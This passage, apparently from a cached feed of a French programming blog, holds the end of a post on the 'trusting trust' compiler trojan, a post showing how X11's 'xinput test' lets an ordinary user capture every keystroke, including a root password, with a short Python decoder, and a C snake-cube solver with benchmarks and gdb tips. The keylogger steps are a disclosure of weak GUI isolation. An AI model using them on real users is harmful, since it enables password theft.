compile("bug2");
return;
}
// …
}Ici, nous ajoutons un second cheval de Troie. Le premier motif correspond
toujours à la commande login, tandis que le second motif correspond au
compilateur C. Le second bug est un programme auto-reproducteur (tel que
ceux que nous avons vus dans ce billet) qui insère les deux chevaux de Troie. Il
nécessite une phase d’apprentissage comme dans l’exemple avec \v. Nous
compilons d’abord la source ainsi modifiée avec le compilateur C normal pour
générer un binaire corrompu, que nous utilisons désormais comme compilateur C.
Maintenant, nous pouvons supprimer les bugs de la source, le nouveau
compilateur va les réinsérer à chaque fois qu’il sera compilé.
Ainsi, en compilant un code source “propre” avec un compilateur dont le code source est “propre” et que nous avons compilé nous-mêmes, nous générons un binaire contenant un cheval de Troie !
Il est cependant possible de contrer cette attaque.
";s:7:"dateiso";s:15:"20111114_211417";}s:15:"20111101_230957";a:7:{s:5:"title";s:69:"Keylogger sous GNU/Linux : enregistrer les touches tapées au clavier";s:4:"link";s:96:"http://blog.rom1v.com/2011/11/keylogger-sous-gnulinux-enregistrer-les-touches-tapees-au-clavier/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=3212";s:7:"pubDate";s:31:"Tue, 01 Nov 2011 22:09:57 +0000";s:11:"description";s:363:"En tant que root, il est bien sûr potentiellement possible de faire ce que l’on veut sur sa machine, comme enregistrer toutes les touches tapées au clavier (keylogger). Mais aussi incroyable (et inquiétant) que cela puisse paraître, il est possible de faire exactement la même chose… sans être root. Démonstration Et en plus, c’est tout [...]";s:7:"content";s:6114:"
En tant que root, il est bien sûr potentiellement possible de faire ce que l’on veut sur sa machine, comme enregistrer toutes les touches tapées au clavier (keylogger).
Mais aussi incroyable (et inquiétant) que cela puisse paraître, il est possible de faire exactement la même chose… sans être root.
Et en plus, c’est tout simple : il suffit pour un programme d’écouter les événements clavier envoyés par le serveur X.
Prenons un outil qui le fait déjà (ça nous évitera de le coder), xinput :
apt-get install xinput
Pour obtenir la liste des périphériques utilisables :
xinput list
Repérer la ligne concernant le clavier (contenant « AT ») et noter son id (ici 11).
$ xinput list | grep AT
↳ AT Translated Set 2 keyboard id=11 [slave keyboard (3)]
Puis démarrer l’écoute sur ce périphérique dans un terminal :
xinput test 11
Au fur et à mesure que l’on tape du texte, la sortie standard de xinput indique quelles touches sont tapées :
key press 56 key release 56 key press 32 key release 32 key press 57 key release 57 key press 44 key release 44 key press 32 key press 30 key release 32 key release 30 key press 27 key release 27
Cela fonctionne même lorsqu’on écrit dans une autre application, quelque soit l’utilisateur qui l’a démarrée. En particulier, si dans un autre terminal on exécute la commande suivante, le mot de passe est bien capturé :
$ su - Mot de passe :
Un programme avec de simples droits utilisateur peut donc écouter tout ce qui est tapé au clavier (et donc l’enregistrer, l’envoyer à un serveur…).
La sortie de xinput n’est pas très utilisable en pratique. Pour la décoder, un programme d’une vingtaine de lignes en Python suffit (fortement inspiré de ce PoC). Appelons-le xinput-decoder.py :
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import re, sys
from subprocess import *
def get_keymap():
keymap = {}
table = Popen(['xmodmap', '-pke'], stdout=PIPE).stdout
for line in table:
m = re.match('keycode +(\d+) = (.+)', line.decode())
if m and m.groups()[1]:
keymap[m.groups()[0]] = m.groups()[1].split()[0]
return keymap
if __name__ == '__main__':
keymap = get_keymap();
for line in sys.stdin:
m = re.match('key press +(\d+)', line.decode())
if m:
keycode = m.groups()[0]
if keycode in keymap:
print keymap[keycode],
else:
print '?' + keycode,
Pour convertir le résultat à la volée :
xinput test 11 | ./xinput-decoder.py
Le problème, c’est que lorsqu’on redirige la sortie de xinput dans un fichier ou en entrée d’un autre programme, le contenu ne s’affiche que par salves (d’environ 128 caractères apparemment). Sans doute une histoire de buffer, à mon avis activé uniquement lorsque la fonction isatty() retourne true.
Pour contourner le problème et récupérer les dernières touches tapées, il est possible de démarrer la commande dans un screen :
screen xinput test 11
puis, à la fin de la capture, d’enregistrer le contenu dans un fichier. Pour cela, dans le screen ainsi ouvert, taper Ctrl+A, :, puis hardcopy -h /tmp/log.
De cette manière, /tmp/log contiendra toute la capture.
Pour convertir le résultat :
$ ./xinput-parser.py < /tmp/log s u space minus Return mon mot de passe root Return a p t minus g e t space u p d a t e Return Control_L a colon
Une solution plus pratique serait peut-être de démarrer xinput par le programme Python, en lui faisant croire qu’il écrit dans un TTY (ce que je ne sais pas faire). Quelqu’un l’a fait en Perl.
Il faudrait également prendre en compte le relâchement des touches dans le décodeur, car lorsqu’il affiche « Shift_L a b », nous n’avons aucun moyen de savoir si la touche Shift a été relâchée avant le a, entre le a et le b, ou après le b.
Merci à Papillon-butineur de m’avoir fait découvrir ce fonctionnement étonnant du serveur X.
Je vous recommande le billet suivant (en anglais) ainsi que ses commentaires : The Linux Security Circus: On GUI isolation.
En tant que root, il est bien sûr potentiellement possible de faire ce que l’on veut sur sa machine, comme enregistrer toutes les touches tapées au clavier (keylogger).

Mais aussi incroyable (et inquiétant) que cela puisse paraître, il est possible de faire exactement la même chose… sans être root.
Et en plus, c’est tout simple : il suffit pour un programme d’écouter les
événements clavier envoyés par le serveur X. Prenons un outil qui le fait
déjà (ça nous évitera de le coder), xinput :
sudo apt-get install xinput
Pour obtenir la liste des périphériques utilisables :
xinput list
Repérer la ligne concernant le clavier (contenant « AT ») et noter son id (ici 11).
$ xinput list | grep AT
↳ AT Translated Set 2 keyboard id=11 [slave keyboard (3)]
Puis démarrer l’écoute sur ce périphérique dans un terminal :
xinput test 11
Au fur et à mesure que l’on tape du texte, la sortie standard de xinput
indique quelles touches sont tapées :
key press 56
key release 56
key press 32
key release 32
key press 57
key release 57
key press 44
key release 44
key press 32
key press 30
key release 32
key release 30
key press 27
key release 27
Cela fonctionne même lorsqu’on écrit dans une autre application, quelque soit l’utilisateur qui l’a démarrée. En particulier, si dans un autre terminal on exécute la commande suivante, le mot de passe est bien capturé :
$ su -
Mot de passe :
Un programme avec de simples droits utilisateur peut donc écouter tout ce qui est tapé au clavier (et donc l’enregistrer, l’envoyer à un serveur…).
La sortie de xinput n’est pas très utilisable en pratique. Pour la décoder, un
programme d’une vingtaine de lignes en Python suffit (fortement inspiré de ce
PoC). Appelons-le xinput-decoder.py :
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import re, sys
from subprocess import *
def get_keymap():
keymap = {}
table = Popen(['xmodmap', '-pke'], stdout=PIPE).stdout
for line in table:
m = re.match('keycode +(\d+) = (.+)', line.decode())
if m and m.groups()[1]:
keymap[m.groups()[0]] = m.groups()[1].split()[0]
return keymap
if __name__ == '__main__':
keymap = get_keymap();
for line in sys.stdin:
m = re.match('key press +(\d+)', line.decode())
if m:
keycode = m.groups()[0]
if keycode in keymap:
print keymap[keycode],
else:
print '?' + keycode,Pour convertir le résultat à la volée :
xinput test 11 | ./xinput-decoder.py
Le problème, c’est que lorsqu’on redirige la sortie de xinput dans un fichier
ou en entrée d’un autre programme, le contenu ne s’affiche que par salves
(d’environ 128 caractères apparemment). Sans doute une histoire de buffer, à
mon avis activé uniquement lorsque la fonction isatty() retourne
true.
http://www.kernel.org/doc/man-pages/online/pages/man3/isatty.3.html
Pour contourner le problème et récupérer les dernières touches tapées, il est
possible de démarrer la commande dans un screen :
screen xinput test 11
puis, à la fin de la capture, d’enregistrer le contenu dans un fichier. Pour
cela, dans le screen ainsi ouvert, taper Ctrl+A, :, puis hardcopy -h
/tmp/log. De cette manière, /tmp/log contiendra toute la capture.
Pour convertir le résultat :
$ ./xinput-parser.py < /tmp/log
s u space minus Return p a s s w o r d Return a p t minus g e t space u p d a t e Return Control_L a colon
Une solution plus pratique serait peut-être de démarrer xinput par le
programme Python, en lui faisant croire qu’il écrit dans un TTY (ce que je
ne sais pas faire). Quelqu’un l’a fait en
Perl.
Il faudrait également prendre en compte le relâchement des touches dans le
décodeur, car lorsqu’il affiche Shift_L a b, nous n’avons aucun moyen de
savoir si la touche Shift a été relâchée avant le a, entre le a et le b,
ou après le b.
Merci à Papillon-butineur de m’avoir fait découvrir ce fonctionnement étonnant du serveur X.
Je vous recommande le billet suivant (en anglais) ainsi que ses commentaires : The Linux Security Circus: On GUI isolation.
EDIT : En 2016, tuxicoman a proposé une implémentation en C++.
";s:7:"dateiso";s:15:"20111101_220957";}s:15:"20111019_013300";a:7:{s:5:"title";s:55:"Résoudre le cube-serpent 300 fois plus rapidement en C";s:4:"link";s:85:"http://blog.rom1v.com/2011/10/resoudre-le-cube-serpent-300-fois-plus-rapidement-en-c/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=3104";s:7:"pubDate";s:31:"Tue, 18 Oct 2011 23:33:00 +0000";s:11:"description";s:387:"Il y a 3 semaines, j’avais écrit un solveur de cube-serpent en Python. Un commentaire, en apparence anodin, m’a mis dans la tête une question que je ne pouvais pas laisser sans réponse : combien de fois plus rapidement s’exécuterait le même algorithme implémenté en C que celui en Python (interprêté) ? 2× ? 10× ? 50× ? Pour y [...]";s:7:"content";s:94774:"
Il y a 3 semaines, j’avais écrit un solveur de cube-serpent en Python.
Un commentaire, en apparence anodin, m’a mis dans la tête une question que je ne pouvais pas laisser sans réponse : combien de fois plus rapidement s’exécuterait le même algorithme implémenté en C que celui en Python (interprêté) ? 2× ? 10× ? 50× ?
Pour y répondre, il fallait donc implémenter le même algorithme en C. En plus, c’était l’occasion de rendre hommage à Dennis Ritchie. Après avoir découvert Python, j’ai donc (ré)appris le C (et ça fait drôle de rejouer avec les pointeurs après plusieurs années !).
Je ne vais pas m’attarder sur l’algorithme, c’est exactement le même principe que sur mon billet précédent, et j’ai essayé de garder les mêmes noms de fonctions.
La structure du cube et ses dimensions (à modifier selon votre cube-serpent) sont définies par macro (les fameux #define). Par rapport au programme Python, il faut en plus préciser la taille des tableaux.
La seule partie que j’ai réimplémentée complètement différemment est la fonction get_useful_points de la version Python (souvenez-vous, avec des yields dans une fonction récursive). La fonction équivalente dans la version C s’appelle symmetry_helper_inc_cursor(int cursor[]) : au lieu de retourner au fur et à mesure chacun des points à traiter, elle donne le point « suivant » de celui passé en paramètre.
De même, les solutions trouvées sont données dans un callback (la fonction solution), toujours dans l’objectif de supprimer simplement les yields.
J’ai tout mis dans un seul fichier csnakesolver.c (par simplicité, même si dans les règles de l’art, plusieurs fichiers .c avec leurs .h auraient été préférables).
Passons maintenant à ce qui nous intéresse : les performances.
Je fais mes tests sur 3 exemples : un rapide, un moyen et un long.
Le rapide est un 3×3×3, les deux autres sont des 4×4×4. Voici leurs structures respectives :
// (R)apide
{2, 1, 1, 2, 1, 2, 1, 1, 2, 2, 1, 1, 1, 2, 2, 2, 2}
// (M)oyen
{2, 1, 2, 1, 1, 3, 1, 2, 1, 2, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 1, 1, 1, 1, 1, 2, 3, 1, 1, 1, 3, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3, 1}
// (L)ong
{1, 1, 2, 1, 1, 3, 1, 2, 1, 2, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1 ,1, 2, 2, 1, 1, 1, 1, 1, 2, 3, 1, 1, 1, 3, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3}
Je vais comparer, grâce à la commande time, le temps nécessaire pour trouver une solution :
time ./csnakesolver
Le programme doit s’arrêter après avoir trouvé la première. Les programmes Python et C trouveront forcément les mêmes et dans le même ordre, vu qu’ils implémentent le même algorithme.
Il est intéressant de tester les performances en compilant sans optimisations :
gcc csnakesolver.c -o csnakesolver
et avec :
gcc -O3 csnakesolver.c -o csnakesolver
| Python | C (gcc) |
C (gcc -O3) |
|
|---|---|---|---|
| Exemple R | instantané | instantané | instantané |
| Exemple M | 5m6.903s | 0m3.715s (×83) | 0m0.826s (×372) |
| Exemple L | 3h53m17.012s | 5m4.533s (×46) | 0m50.681s (×276) |
Le gain est loin d’être négligeable, un gain de ×276 dans un cas et ×372 dans l’autre ! Honnêtement, je ne m’y attendais pas. Tout au plus, j’espérais ×40~×50, sans trop y croire.
Deux différences expliquent ces gains :
Il serait intéressant de savoir dans quelle mesure les gains proviennent de la compilation et dans quelle mesure ils proviennent de l’abstraction (nous savons déjà que le facteur de gain entre les programmes compilés avec et sans -O3 provient uniquement de la compilation).
Une approche intéressante pour répondre à cette question serait de compiler le programme Python en code natif (je n’ai encore jamais fait).
Travailler sur un mini-projet personnel permet toujours d’apprendre des choses. En dehors du langage lui-même, j’ai découvert le débogueur gdb.
N’ayant toujours utilisé des débogueurs qu’en mode graphique (pour d’autres langages), je m’attendais à ce qu’il soit un peu long à prendre en main. Mais en fait, pas du tout, j’ai été agréablement surpris par sa simplicité d’utilisation.
Avec certains langages, on peut se passer de débogueur pour de petits programmes. C ne fait pas partie de ceux-là, par exemple dans ce cas précis :
$ ./csnakesolver Erreur de segmentation
Il faut d’abord compiler le programme avec l’option de debug :
gcc -g csnakesolver.c -o csnakesolver
Puis lancer le programme avec le débogueur :
gdb csnakesolver
Un prompt permet d’entrer des commandes :
(gdb)
Pour placer un point d’arrêt à la ligne 215 :
(gdb) break 215
Pour démarrer le programme :
(gdb) run
Le programme s’arrête sur le point d’arrêt :
Breakpoint 1, volume_helper_can_move (vector=...) at csnakesolver.c:215 215 int cursor_position_value = volume_helper.cursor[vector.position];
Pour afficher le bout de code source concerné :
(gdb) l
210 void volume_helper_set_flag(int cursor[], bool value) {
211 * volume_helper_get_flag_pointer(cursor) = value;
212 }
213
214 bool volume_helper_can_move(vector_s vector) {
215 int cursor_position_value = volume_helper.cursor[vector.position];
216 int new_value = cursor_position_value + vector.value;
217 int future_cursor[DIMENSIONS_COUNT];
218 int sign, i, abs_value;
219 if (new_value < 0 || new_value >= dimensions[vector.position]) {
Il est possible de consulter les valeurs des variables (éventuellement en les formattant) grâce à p (print) :
(gdb) p vector.position
$1 = 0
(gdb) p vector
$2 = {position = 0, value = 1}
Pour afficher des tableaux, il faut indiquer le pointeur et la longueur du tableau à afficher (ici 3) :
(gdb) p * volume_helper.cursor @ 3
$3 = {0, 0, 0}
Pour obtenir la pile d’exécution :
(gdb) bt
#0 volume_helper_can_move (vector=...) at csnakesolver.c:215
#1 0x0000000000401294 in solve_rec (init_cursor=0x7fffffffe210, step=0)
at csnakesolver.c:438
#2 0x0000000000401191 in solve () at csnakesolver.c:407
#3 0x00000000004013de in main () at csnakesolver.c:475
Pour avancer dans le programme, 3 commandes sont indispensables :
c (continue) pour dérouler le programme jusqu’au prochain point d’arrêt ;n (next) pour exécuter la ligne suivante complètement ;s (step) pour rentrer dans la fonction sur la ligne suivante et l’exécuter ligne à ligne.Ces commandes essentielles permettent déjà de se sortir de beaucoup de situations.
Un programme écrit en C est plus rapide qu’un programme écrit en Python (ah bon ?), dans une proportion plus importante que je ne l’imaginais. Ce n’est qu’un test sur un exemple particulier, mais il donne déjà une petite idée.
La morale de l’histoire est qu’il faut bien choisir son langage suivant le programme à réaliser. Et pour du calcul brut, évidemment un langage bas niveau est préférable (même si le développement est plus laborieux). Dans la majorité des cas cependant, où les performances brutes ne sont pas cruciales, Python sera préféré à C.
Le programme est disponible au même endroit que la version Python : csnakesolver-0.1.c.
Par contre, désolé, cette version est beaucoup moins commentée que la version Python.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 | /* * csnakesolver v0.1, 19th october 2011 * * changelog: * 0.1 * - initial version * * Solver for generalized snake-cube: * http://en.wikipedia.org/wiki/Snake_cube * http://fr.wikipedia.org/wiki/Cube_serpent * * By Romain Vimont (®om) * rom@rom1v.com */ #include <stdio.h> #include <stdlib.h> #include <stdbool.h> #include <string.h> #define EXEMPLE_L // change with EXEMPLE_M or EXEMPLE_L #ifdef EXEMPLE_R #define SNAKE_STRUCTURE {2, 1, 1, 2, 1, 2, 1, 1, 2, 2, 1, 1, 1, 2, 2, 2, 2} #define STRUCTURE_VECTOR_COUNT 17 #define VOLUME_DIMENSIONS {3, 3, 3} #define DIMENSIONS_COUNT 3 #endif #ifdef EXEMPLE_M #define SNAKE_STRUCTURE {2, 1, 2, 1, 1, 3, 1, 2, 1, 2, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 1, 1, 1, 1, 1, 2, 3, 1, 1, 1, 3, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3, 1} #define STRUCTURE_VECTOR_COUNT 46 #define VOLUME_DIMENSIONS {4, 4, 4} #define DIMENSIONS_COUNT 3 #endif #ifdef EXEMPLE_L #define SNAKE_STRUCTURE {1, 1, 2, 1, 1, 3, 1, 2, 1, 2, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1 ,1, 2, 2, 1, 1, 1, 1, 1, 2, 3, 1, 1, 1, 3, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3} #define STRUCTURE_VECTOR_COUNT 47 #define VOLUME_DIMENSIONS {4, 4, 4} #define DIMENSIONS_COUNT 3 #endif #define VARIABLES {'x', 'y', 'z', 't'} #define VARIABLES_COUNT 4 int structure[] = SNAKE_STRUCTURE; int dimensions[] = VOLUME_DIMENSIONS; int variables[] = VARIABLES; int structure_length; // sum of SNAKE_STRUCTURE int volume_size; // product of dimensions typedef struct vector { int position; int value; } vector_s; typedef struct volume_helper { bool * flags; // length = product of all VOLUME_DIMENSIONS items vector_s path[STRUCTURE_VECTOR_COUNT]; int path_length; int init_cursor[DIMENSIONS_COUNT]; int cursor[DIMENSIONS_COUNT]; } volume_helper_s; typedef struct symmetry_helper { int eq_classes_path[DIMENSIONS_COUNT * STRUCTURE_VECTOR_COUNT + 2]; int * eq_classes; } symmetry_helper_s; vector_s new_vector(char position, char value); void symmetry_helper_init(symmetry_helper_s * symmetry_helper); void volume_helper_init(volume_helper_s * volume_helper); void init(); char * vector_to_string(vector_s vector); char * get_variable(char position); char * get_canonical_number(char number); char * cursor_to_string(int cursor[]); void volume_helper_set_cursor(int cursor[]); bool * volume_helper_get_flag_pointer(int cursor[]); bool volume_helper_get_flag(int cursor[]); void volume_helper_set_flag(int cursor[], bool value); bool volume_helper_can_move(vector_s vector); void volume_helper_move(vector_s vector); void volume_helper_back(); void volume_helper_append_vector_in_path(vector_s vector) ; vector_s volume_helper_pop_vector_in_path(); void symmetry_helper_init_eq_classes_from_dimensions(); bool symmetry_helper_inc_cursor(int cursor[]); bool symmetry_helper_inc_cursor_rec(int cursor[], int index); void symmetry_helper_set_cursor(int cursor[]); void symmetry_helper_move(vector_s vector); void symmetry_helper_back(); bool symmetry_helper_must_explore(int i); bool eq_cmp(int p1, int p2, int dim); bool solve(); bool solve_rec(int init_cursor[], int step); bool solution(int * init_cursor, vector_s * path); vector_s new_vector(char position, char value) { vector_s vector; vector.position = position; vector.value = value; return vector; }; symmetry_helper_s symmetry_helper; volume_helper_s volume_helper; void symmetry_helper_init(symmetry_helper_s * symmetry_helper) { symmetry_helper->eq_classes = symmetry_helper->eq_classes_path; } void volume_helper_init(volume_helper_s * volume_helper) { volume_helper->flags = (bool *) malloc(volume_size * sizeof(bool)); volume_helper->path_length = 0; } void init() { int i; volume_size = 1; for (i = 0; i < DIMENSIONS_COUNT; i++) { volume_size *= dimensions[i]; } structure_length = 0; for (i = 0; i < STRUCTURE_VECTOR_COUNT; i++) { structure_length += structure[i]; } symmetry_helper_init(&symmetry_helper); volume_helper_init(&volume_helper); } char * vector_to_string(vector_s vector) { char * string = (char *) malloc(5 * sizeof(char)); char * variable = get_variable(vector.position); char * canonical_number = get_canonical_number(vector.value); sprintf(string, "%s%s", canonical_number, variable); free(variable); free(canonical_number); return string; } char * get_variable(char position) { char * variable = (char *) malloc(3 * sizeof(char)); if (position < VARIABLES_COUNT) { sprintf(variable, "%c", variables[position]); } else { sprintf(variable, "k%i", position - VARIABLES_COUNT); } return variable; } char * get_canonical_number(char number) { char * canonical_number = (char *) malloc(3 * sizeof(char)); if (number == (char) 1) { sprintf(canonical_number, ""); } else if (number == (char) -1) { sprintf(canonical_number, "-"); } else { sprintf(canonical_number, "%i", number); } return canonical_number; } char * cursor_to_string(int cursor[]) { char * result = (char *) malloc(255 * sizeof(char)); char * s = result; int i; s += sprintf(s, "("); for (i = 0; i < DIMENSIONS_COUNT; i++) { if (i != 0) { s += sprintf(s, ", "); } s += sprintf(s, "%i", cursor[i]); } s += sprintf(s, ")"); return result; } void volume_helper_set_cursor(int cursor[]) { volume_helper_set_flag(volume_helper.init_cursor, false); memcpy(volume_helper.init_cursor, cursor, DIMENSIONS_COUNT * sizeof(int)); memcpy(volume_helper.cursor, cursor, DIMENSIONS_COUNT * sizeof(int)); volume_helper_set_flag(cursor, true); } bool * volume_helper_get_flag_pointer(int cursor[]) { bool * p_flag = volume_helper.flags; int product = 1; int i; for (i = DIMENSIONS_COUNT - 1; i >= 0; i--) { p_flag += cursor[i] * product; product *= dimensions[i]; } return p_flag; } bool volume_helper_get_flag(int cursor[]) { return * volume_helper_get_flag_pointer(cursor); } void volume_helper_set_flag(int cursor[], bool value) { * volume_helper_get_flag_pointer(cursor) = value; } bool volume_helper_can_move(vector_s vector) { int cursor_position_value = volume_helper.cursor[vector.position]; int new_value = cursor_position_value + vector.value; int future_cursor[DIMENSIONS_COUNT]; int sign, i, abs_value; if (new_value < 0 || new_value >= dimensions[vector.position]) { return false; } memcpy(future_cursor, volume_helper.cursor, DIMENSIONS_COUNT * sizeof(int)); if (vector.value < 0) { sign = -1; } else { sign = 1; } abs_value = sign * vector.value; for (i = 0; i < abs_value; i++) { future_cursor[vector.position] += sign; if (volume_helper_get_flag(future_cursor)) { return false; } } return true; } void volume_helper_move(vector_s vector) { int sign, i, abs_value; volume_helper_append_vector_in_path(vector); if (vector.value < 0) { sign = -1; } else { sign = 1; } abs_value = sign * vector.value; for (i = 0; i < abs_value; i++) { volume_helper.cursor[vector.position] += sign; volume_helper_set_flag(volume_helper.cursor, true); } } void volume_helper_back() { int sign, i, abs_value; vector_s vector = volume_helper_pop_vector_in_path(); if (vector.value < 0) { sign = -1; } else { sign = 1; } abs_value = sign * vector.value; for (i = 0; i < abs_value; i++) { volume_helper_set_flag(volume_helper.cursor, false); volume_helper.cursor[vector.position] += -sign; } } void volume_helper_append_vector_in_path(vector_s vector) { vector_s * current_vector = volume_helper.path + volume_helper.path_length; memcpy(current_vector, &vector, sizeof(vector_s)); volume_helper.path_length ++; } vector_s volume_helper_pop_vector_in_path() { volume_helper.path_length --; vector_s * current_vector = volume_helper.path + volume_helper.path_length; vector_s vector; memcpy(&vector, current_vector, sizeof(vector)); return vector; } void symmetry_helper_init_eq_classes_from_dimensions() { // eq_classes from dimensions is the first item of eq_classes_path int * eq_classes = symmetry_helper.eq_classes_path; int i, j; int value; bool found; for (i = 1; i < DIMENSIONS_COUNT; i++) { value = dimensions[i]; j = 0; found = false; while (j < i && !found) { if (dimensions[j] == value) { eq_classes[i] = j; found = true; } else { j++; } } if (!found) { eq_classes[j] = j; } } symmetry_helper.eq_classes = eq_classes; } bool symmetry_helper_inc_cursor(int cursor[]) { return symmetry_helper_inc_cursor_rec(cursor, DIMENSIONS_COUNT - 1); } bool symmetry_helper_inc_cursor_rec(int cursor[], int index) { int * eq_classes = symmetry_helper.eq_classes_path; int value = cursor[index]; int i; if (value < (dimensions[index] - 1) / 2) { // the last coordinate can be incremented cursor[index] ++; return true; } // we must increment recursively the previous coordinate if (index == 0) { // there is no more coordinate to increment return false; } i = index - 1; if (!symmetry_helper_inc_cursor_rec(cursor, i)) { return false; } while (i >= 0 && eq_classes[i] != eq_classes[index]) { i--; } if (i >= 0) { // coordinate value must at least equals the previous coordinates // in the same equivalence class cursor[index] = cursor[i]; } else { cursor[index] = 0; } return true; } void symmetry_helper_set_cursor(int cursor[]) { int * eq_classes_path = symmetry_helper.eq_classes_path; int * cursor_eq_classes = symmetry_helper.eq_classes_path + DIMENSIONS_COUNT; int i, j, old_class; symmetry_helper.eq_classes = cursor_eq_classes; // copy the eq_classes computed from the dimensions into the next segment memcpy(cursor_eq_classes, eq_classes_path, DIMENSIONS_COUNT * sizeof(int)); for (i = 0; i < DIMENSIONS_COUNT; i++) { if (cursor_eq_classes[i] != i && !eq_cmp(cursor_eq_classes[i], cursor[i], dimensions[i])) { old_class = cursor_eq_classes[i]; cursor_eq_classes[i] = i; for (j = i + 1; j < DIMENSIONS_COUNT; j++) { if (cursor_eq_classes[j] == old_class) { cursor_eq_classes[j] = i; } } } } } void symmetry_helper_move(vector_s vector) { int position = vector.position; int * previous_eq_classes = symmetry_helper.eq_classes; int * new_eq_classes = previous_eq_classes + DIMENSIONS_COUNT; int new_eq_class = -1; int i; memcpy(new_eq_classes, previous_eq_classes, DIMENSIONS_COUNT * sizeof(int)); for (i = position + 1; i < DIMENSIONS_COUNT; i++) { if (new_eq_classes[i] == position) { if (new_eq_class == -1) { new_eq_class = i; } new_eq_classes[i] = new_eq_class; } } symmetry_helper.eq_classes = new_eq_classes; } void symmetry_helper_back() { symmetry_helper.eq_classes -= DIMENSIONS_COUNT; } bool symmetry_helper_must_explore(int i) { return symmetry_helper.eq_classes[i] == i; } bool eq_cmp(int p1, int p2, int dim) { return p1 == p2 || p1 + p2 + 1 == dim; } bool solve() { int cursor[DIMENSIONS_COUNT] = {}; // init with zeros int i; if (structure_length + 1 != volume_size) { fprintf(stderr, "Structure has not the right length (%i instead of %i)\n", structure_length, volume_size); return false; } do { volume_helper_set_cursor(cursor); symmetry_helper_set_cursor(cursor); if (!solve_rec(cursor, 0)) { return false; } } while (symmetry_helper_inc_cursor(cursor)); // explored all possible solutions return true; } bool solve_rec(int init_cursor[], int step) { int previous_position; int norm = structure[step]; int vector_value; int i, k; vector_s possible_vector; if (step == STRUCTURE_VECTOR_COUNT) { if (!solution(volume_helper.init_cursor, volume_helper.path)) { // stop searching for new solutions return false; } } else { if (volume_helper.path_length == 0) { previous_position = -1; } else { previous_position = volume_helper.path[volume_helper.path_length -1].position; } for (i = 0; i < DIMENSIONS_COUNT; i++) { if (i != previous_position && symmetry_helper_must_explore(i)) { for (k = 0; k < 2; k++) { vector_value = k == 0 ? norm : -norm; possible_vector = new_vector(i, vector_value); if (volume_helper_can_move(possible_vector)) { volume_helper_move(possible_vector); symmetry_helper_move(possible_vector); if (!solve_rec(init_cursor, step + 1)) { return false; } volume_helper_back(); symmetry_helper_back(); } } } } } return true; } bool solution(int * init_cursor, vector_s * path) { int i; char * vector_string; vector_s vector; printf("(%s, [", cursor_to_string(init_cursor)); for (i = 0; i < STRUCTURE_VECTOR_COUNT; i++) { if (i != 0) { printf(", "); } vector = path[i]; vector_string = vector_to_string(vector); printf("%s", vector_string); free(vector_string); } printf("])\n"); // stop after the first solution return false; } int main(void) { init(); solve(); exit(0); } |
Il y a 3 semaines, j’avais écrit un solveur de cube-serpent en Python.
Un commentaire, en apparence anodin, m’a mis dans la tête une question que je ne pouvais pas laisser sans réponse : combien de fois plus rapidement s’exécuterait le même algorithme implémenté en C que celui en Python (interprêté) ? 2× ? 10× ? 50× ?
Pour y répondre, il fallait donc implémenter le même algorithme en C. En plus, c’était l’occasion de rendre hommage à Dennis Ritchie. Après avoir découvert Python, j’ai donc (ré)appris le C (et ça fait drôle de rejouer avec les pointeurs après plusieurs années !).
Je ne vais pas m’attarder sur l’algorithme, c’est exactement le même principe que sur mon billet précédent, et j’ai essayé de garder les mêmes noms de fonctions.
La structure du cube et ses dimensions (à modifier selon votre cube-serpent)
sont définies par macros (les fameux #define). Par rapport au programme
Python, il faut en plus préciser la taille des tableaux.
La seule partie que j’ai réimplémentée complètement différemment est la fonction
get_useful_points de la version Python (souvenez-vous, avec des yields
dans une fonction récursive). La fonction équivalente dans la version C
s’appelle symmetry_helper_inc_cursor(int cursor[]) : au lieu de retourner au
fur et à mesure chacun des points à traiter, elle donne le point “suivant” de
celui passé en paramètre.
De même, les solutions trouvées sont données dans un callback (la fonction
solution), toujours dans l’objectif de supprimer simplement les yields.
J’ai tout mis dans un seul fichier csnakesolver.c (par simplicité, même si
plusieurs fichiers .c avec leurs .h auraient été préférables).
